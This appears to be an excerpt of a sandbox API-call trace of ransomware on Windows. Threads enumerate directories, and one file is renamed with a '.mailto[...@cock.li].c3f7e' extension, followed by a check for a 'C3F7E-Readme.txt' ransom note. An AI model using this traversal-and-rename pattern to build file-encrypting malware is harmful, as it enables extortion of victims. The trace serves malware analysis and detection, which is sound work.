	[0082.805] WriteFile (in: hFile=0x16a0, lpBuffer=0x4731668*, nNumberOfBytesToWrite=0x157, lpNumberOfBytesWritten=0x25dbf8fc, lpOverlapped=0x0 | out: lpBuffer=0x4731668*, lpNumberOfBytesWritten=0x25dbf8fc*=0x157, lpOverlapped=0x0) returned 1
	[0082.806] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4731668) returned 1
	[0082.806] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47bd710) returned 1
	[0082.806] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e337f8) returned 1
	[0082.806] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47bcb10) returned 1
	[0082.806] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e339d8) returned 1
	[0082.806] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33898) returned 1
	[0082.806] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33a28) returned 1
	[0082.806] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33aa0) returned 1
	[0082.806] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xfa) returned 0x481cc88
	[0082.806] wcscpy (in: _Dest=0x481cc88, _Source="C:\\ProgramData\\USOPrivate\\UpdateStore\\updatestore51b519d5-b6f5-4333-8df6-e74d7c9aead4.xml" | out: _Dest="C:\\ProgramData\\USOPrivate\\UpdateStore\\updatestore51b519d5-b6f5-4333-8df6-e74d7c9aead4.xml") returned="C:\\ProgramData\\USOPrivate\\UpdateStore\\updatestore51b519d5-b6f5-4333-8df6-e74d7c9aead4.xml"
	[0082.806] wcscat (in: _Dest=0x481cc88, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\ProgramData\\USOPrivate\\UpdateStore\\updatestore51b519d5-b6f5-4333-8df6-e74d7c9aead4.xml.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\ProgramData\\USOPrivate\\UpdateStore\\updatestore51b519d5-b6f5-4333-8df6-e74d7c9aead4.xml.mailto[kkeessnnkkaa@cock.li].c3f7e"
	[0082.806] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\ProgramData\\USOPrivate\\UpdateStore\\updatestore51b519d5-b6f5-4333-8df6-e74d7c9aead4.xml.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0x25dbf8b4, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\ProgramData\\USOPrivate\\UpdateStore\\updatestore51b519d5-b6f5-4333-8df6-e74d7c9aead4.xml.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0082.806] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x110) returned 0x2d62e78
	[0082.806] NtSetInformationFile (FileHandle=0x16a0, IoStatusBlock=0x25dbf8ac, FileInformation=0x2d62e78, Length=0x110, FileInformationClass=0xa) returned 0x0
	[0082.905] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d62e78) returned 1
	[0082.905] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47173a0) returned 1
	[0082.905] NtQueryInformationFile (in: FileHandle=0x16a0, IoStatusBlock=0x25dbf8c0, FileInformation=0x25dbf898, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x25dbf8c0, FileInformation=0x25dbf898) returned 0x0
	[0082.905] NtSetInformationFile (FileHandle=0x16a0, IoStatusBlock=0x25dbf8c0, FileInformation=0x25dbf898, Length=0x28, FileInformationClass=0x4) returned 0x0
	[0082.908] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x481cc88) returned 1
	[0082.908] FlushFileBuffers (hFile=0x16a0) returned 1
	[0082.912] CloseHandle (hObject=0x16a0) returned 1
	[0082.913] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2e04090
	[0082.913] wcscpy (in: _Dest=0x2e04090, _Source="C:\\ProgramData\\USOPrivate\\UpdateStore\\" | out: _Dest="C:\\ProgramData\\USOPrivate\\UpdateStore\\") returned="C:\\ProgramData\\USOPrivate\\UpdateStore\\"
	[0082.913] wcscat (in: _Dest=0x2e04090, _Source="C3F7E-Readme.txt" | out: _Dest="C:\\ProgramData\\USOPrivate\\UpdateStore\\C3F7E-Readme.txt") returned="C:\\ProgramData\\USOPrivate\\UpdateStore\\C3F7E-Readme.txt"
	[0082.913] GetFileAttributesW (lpFileName="C:\\ProgramData\\USOPrivate\\UpdateStore\\C3F7E-Readme.txt" (normalized: "c:\\programdata\\usoprivate\\updatestore\\c3f7e-readme.txt")) returned 0x20
	[0082.913] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04090) returned 1
	[0082.913] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4769c68) returned 1

Thread:
	id = 1071
	os_tid = 0x1d2c

	[0082.808] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x42) returned 0x4775d90
	[0082.808] wcscpy (in: _Dest=0x4775d90, _Source="C:\\Users\\All Users\\Oracle\\Java" | out: _Dest="C:\\Users\\All Users\\Oracle\\Java") returned="C:\\Users\\All Users\\Oracle\\Java"
	[0082.808] wcscat (in: _Dest=0x4775d90, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Oracle\\Java\\") returned="C:\\Users\\All Users\\Oracle\\Java\\"
	[0082.808] wcscat (in: _Dest=0x4775d90, _Source="*" | out: _Dest="C:\\Users\\All Users\\Oracle\\Java\\*") returned="C:\\Users\\All Users\\Oracle\\Java\\*"
	[0082.808] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x5031648
	[0082.808] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Oracle\\Java\\*", lpFindFileData=0x5031648 | out: lpFindFileData=0x5031648*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa2d56a03, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xad14ee36, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xad14ee36, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x46a7f98
	[0082.809] wcscmp (_String1=".", _String2=".") returned 0
	[0082.809] FindNextFileW (in: hFindFile=0x46a7f98, lpFindFileData=0x5031648 | out: lpFindFileData=0x5031648*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa2d56a03, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xad14ee36, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xad14ee36, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0082.809] wcscmp (_String1="..", _String2=".") returned 1
	[0082.809] wcscmp (_String1="..", _String2="..") returned 0
	[0082.809] FindNextFileW (in: hFindFile=0x46a7f98, lpFindFileData=0x5031648 | out: lpFindFileData=0x5031648*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xad14ee36, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xc2d63c47, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xad19b2ee, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".oracle_jre_usage", cAlternateFileName="ORACLE~1")) returned 1
	[0082.809] wcscmp (_String1=".oracle_jre_usage", _String2=".") returned 1
	[0082.809] wcscmp (_String1=".oracle_jre_usage", _String2="..") returned 1
	[0082.809] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x62) returned 0x47ed140
	[0082.809] wcscpy (in: _Dest=0x47ed140, _Source="C:\\Users\\All Users\\Oracle\\Java" | out: _Dest="C:\\Users\\All Users\\Oracle\\Java") returned="C:\\Users\\All Users\\Oracle\\Java"
	[0082.809] wcscat (in: _Dest=0x47ed140, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Oracle\\Java\\") returned="C:\\Users\\All Users\\Oracle\\Java\\"
	[0082.809] wcscat (in: _Dest=0x47ed140, _Source=".oracle_jre_usage" | out: _Dest="C:\\Users\\All Users\\Oracle\\Java\\.oracle_jre_usage") returned="C:\\Users\\All Users\\Oracle\\Java\\.oracle_jre_usage"
	[0089.856] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x47ed140, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x16a8
	[0089.857] FindNextFileW (in: hFindFile=0x46a7f98, lpFindFileData=0x5031648 | out: lpFindFileData=0x5031648*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa2d7cc62, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8d35a5d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8d35a5d, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="installcache_x64", cAlternateFileName="INSTAL~1")) returned 1
	[0089.857] wcscmp (_String1="installcache_x64", _String2=".") returned 1
	[0089.857] wcscmp (_String1="installcache_x64", _String2="..") returned 1
	[0089.857] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x60) returned 0x4734158
	[0089.857] wcscpy (in: _Dest=0x4734158, _Source="C:\\Users\\All Users\\Oracle\\Java" | out: _Dest="C:\\Users\\All Users\\Oracle\\Java") returned="C:\\Users\\All Users\\Oracle\\Java"
	[0089.857] wcscat (in: _Dest=0x4734158, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Oracle\\Java\\") returned="C:\\Users\\All Users\\Oracle\\Java\\"
	[0089.857] wcscat (in: _Dest=0x4734158, _Source="installcache_x64" | out: _Dest="C:\\Users\\All Users\\Oracle\\Java\\installcache_x64") returned="C:\\Users\\All Users\\Oracle\\Java\\installcache_x64"
	[0089.857] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x4734158, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1f4c
	[0089.858] FindNextFileW (in: hFindFile=0x46a7f98, lpFindFileData=0x5031648 | out: lpFindFileData=0x5031648*(dwFileAttributes=0x2410, ftCreationTime.dwLowDateTime=0xac5d590c, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xac5d590c, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xac5d590c, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="javapath", cAlternateFileName="")) returned 1
	[0089.858] wcscmp (_String1="javapath", _String2=".") returned 1
	[0089.858] wcscmp (_String1="javapath", _String2="..") returned 1
	[0089.858] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x50) returned 0x2dac268
	[0089.858] wcscpy (in: _Dest=0x2dac268, _Source="C:\\Users\\All Users\\Oracle\\Java" | out: _Dest="C:\\Users\\All Users\\Oracle\\Java") returned="C:\\Users\\All Users\\Oracle\\Java"
	[0089.858] wcscat (in: _Dest=0x2dac268, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Oracle\\Java\\") returned="C:\\Users\\All Users\\Oracle\\Java\\"
	[0089.858] wcscat (in: _Dest=0x2dac268, _Source="javapath" | out: _Dest="C:\\Users\\All Users\\Oracle\\Java\\javapath") returned="C:\\Users\\All Users\\Oracle\\Java\\javapath"
	[0089.858] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2dac268, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1f50
	[0089.859] FindNextFileW (in: hFindFile=0x46a7f98, lpFindFileData=0x5031648 | out: lpFindFileData=0x5031648*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xac5d590c, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xac5d590c, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xac5d590c, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="javapath_target_474984", cAlternateFileName="JAVAPA~1")) returned 1
	[0089.859] wcscmp (_String1="javapath_target_474984", _String2=".") returned 1
	[0089.859] wcscmp (_String1="javapath_target_474984", _String2="..") returned 1
	[0089.859] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x6c) returned 0x2d82d60
	[0089.859] wcscpy (in: _Dest=0x2d82d60, _Source="C:\\Users\\All Users\\Oracle\\Java" | out: _Dest="C:\\Users\\All Users\\Oracle\\Java") returned="C:\\Users\\All Users\\Oracle\\Java"
	[0089.859] wcscat (in: _Dest=0x2d82d60, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Oracle\\Java\\") returned="C:\\Users\\All Users\\Oracle\\Java\\"
	[0089.859] wcscat (in: _Dest=0x2d82d60, _Source="javapath_target_474984" | out: _Dest="C:\\Users\\All Users\\Oracle\\Java\\javapath_target_474984") returned="C:\\Users\\All Users\\Oracle\\Java\\javapath_target_474984"
	[0089.859] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2d82d60, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1f54
	[0089.860] FindNextFileW (in: hFindFile=0x46a7f98, lpFindFileData=0x5031648 | out: lpFindFileData=0x5031648*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xac5d590c, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xac5d590c, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xac5d590c, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="javapath_target_474984", cAlternateFileName="JAVAPA~1")) returned 0
	[0089.860] FindClose (in: hFindFile=0x46a7f98 | out: hFindFile=0x46a7f98) returned 1
	[0089.860] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x5031648) returned 1
	[0089.860] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4775d90) returned 1
	[0089.860] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfafa0) returned 1

Thread:
	id = 1072
	os_tid = 0x1d30

	[0082.810] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Configuration\\configuration.sqlite" (normalized: "c:\\program files\\windowsapps\\microsoft.bingsports_4.6.169.0_x86__8wekyb3d8bbwe\\configuration\\configuration.sqlite")) returned 0x20
	[0082.898] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Configuration\\configuration.sqlite", dwFileAttributes=0x20) returned 0
	[0082.898] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Configuration\\configuration.sqlite" (normalized: "c:\\program files\\windowsapps\\microsoft.bingsports_4.6.169.0_x86__8wekyb3d8bbwe\\configuration\\configuration.sqlite"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0082.898] GetLastError () returned 0x5
	[0082.898] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Configuration\\configuration.sqlite", dwFileAttributes=0x20) returned 0
	[0082.898] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47eada8) returned 1

Thread:
	id = 1073
	os_tid = 0x1d34

	[0082.811] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Advertising\\bootstrap.html" (normalized: "c:\\program files\\windowsapps\\microsoft.bingsports_4.6.169.0_x86__8wekyb3d8bbwe\\microsoft.advertising\\bootstrap.html")) returned 0x20
	[0082.869] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Advertising\\bootstrap.html", dwFileAttributes=0x20) returned 0
	[0082.869] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Advertising\\bootstrap.html" (normalized: "c:\\program files\\windowsapps\\microsoft.bingsports_4.6.169.0_x86__8wekyb3d8bbwe\\microsoft.advertising\\bootstrap.html"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0082.869] GetLastError () returned 0x5
	[0082.869] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Advertising\\bootstrap.html", dwFileAttributes=0x20) returned 0
	[0082.869] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47eb078) returned 1

Thread:
	id = 1074
	os_tid = 0x1d38

	[0082.812] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xdc) returned 0x47231a0
	[0082.812] wcscpy (in: _Dest=0x47231a0, _Source="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Advertising\\Themes" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Advertising\\Themes") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Advertising\\Themes"
	[0082.812] wcscat (in: _Dest=0x47231a0, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Advertising\\Themes\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Advertising\\Themes\\"
	[0082.812] wcscat (in: _Dest=0x47231a0, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Advertising\\Themes\\*") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Advertising\\Themes\\*"
	[0082.812] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x50318b0
	[0082.812] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Advertising\\Themes\\*", lpFindFileData=0x50318b0 | out: lpFindFileData=0x50318b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c490576, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa6c51ae, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x6c490576, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2dac8f8
	[0082.868] wcscmp (_String1=".", _String2=".") returned 0
	[0082.868] FindNextFileW (in: hFindFile=0x2dac8f8, lpFindFileData=0x50318b0 | out: lpFindFileData=0x50318b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c490576, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa6c51ae, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x6c490576, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0082.868] wcscmp (_String1="..", _String2=".") returned 1
	[0082.868] wcscmp (_String1="..", _String2="..") returned 0
	[0082.868] FindNextFileW (in: hFindFile=0x2dac8f8, lpFindFileData=0x50318b0 | out: lpFindFileData=0x50318b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c490576, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0x6c490576, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0x6c490576, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x2ef, dwReserved0=0x0, dwReserved1=0x0, cFileName="Generic.xbf", cAlternateFileName="")) returned 1
	[0082.868] wcscmp (_String1="Generic.xbf", _String2=".") returned 1
	[0082.868] wcscmp (_String1="Generic.xbf", _String2="..") returned 1
	[0082.868] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xf0) returned 0x2d8a3f0
	[0082.868] wcscpy (in: _Dest=0x2d8a3f0, _Source="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Advertising\\Themes" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Advertising\\Themes") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Advertising\\Themes"
	[0082.868] wcscat (in: _Dest=0x2d8a3f0, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Advertising\\Themes\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Advertising\\Themes\\"
	[0082.868] wcscat (in: _Dest=0x2d8a3f0, _Source="Generic.xbf" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Advertising\\Themes\\Generic.xbf") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Advertising\\Themes\\Generic.xbf"
	[0089.839] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x2d8a3f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x16bc
	[0089.840] FindNextFileW (in: hFindFile=0x2dac8f8, lpFindFileData=0x50318b0 | out: lpFindFileData=0x50318b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c490576, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0x6c490576, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0x6c490576, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x2ef, dwReserved0=0x0, dwReserved1=0x0, cFileName="Generic.xbf", cAlternateFileName="")) returned 0
	[0089.840] FindClose (in: hFindFile=0x2dac8f8 | out: hFindFile=0x2dac8f8) returned 1
	[0089.840] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x50318b0) returned 1
	[0089.840] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47231a0) returned 1
	[0089.840] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x477eab0) returned 1

Thread:
	id = 1075
	os_tid = 0x1d3c

	[0082.812] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xf0) returned 0x2d8a2f8
	[0082.812] wcscpy (in: _Dest=0x2d8a2f8, _Source="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Services\\Personalization" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Services\\Personalization") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Services\\Personalization"
	[0082.813] wcscat (in: _Dest=0x2d8a2f8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Services\\Personalization\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Services\\Personalization\\"
	[0082.813] wcscat (in: _Dest=0x2d8a2f8, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Services\\Personalization\\*") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Services\\Personalization\\*"
	[0082.813] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x5031b18
	[0082.813] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Services\\Personalization\\*", lpFindFileData=0x5031b18 | out: lpFindFileData=0x5031b18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c4dca2a, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa6c62fd, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x6c4dca2a, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x46a7fd8
	[0082.813] wcscmp (_String1=".", _String2=".") returned 0
	[0082.813] FindNextFileW (in: hFindFile=0x46a7fd8, lpFindFileData=0x5031b18 | out: lpFindFileData=0x5031b18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c4dca2a, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa6c62fd, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x6c4dca2a, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0082.813] wcscmp (_String1="..", _String2=".") returned 1
	[0082.813] wcscmp (_String1="..", _String2="..") returned 0
	[0082.813] FindNextFileW (in: hFindFile=0x46a7fd8, lpFindFileData=0x5031b18 | out: lpFindFileData=0x5031b18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c4dca2a, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa73b0f1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x6c502c94, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DataModels", cAlternateFileName="DATAMO~1")) returned 1
	[0082.813] wcscmp (_String1="DataModels", _String2=".") returned 1
	[0082.813] wcscmp (_String1="DataModels", _String2="..") returned 1
	[0082.813] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x102) returned 0x4717058
	[0082.813] wcscpy (in: _Dest=0x4717058, _Source="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Services\\Personalization" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Services\\Personalization") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Services\\Personalization"
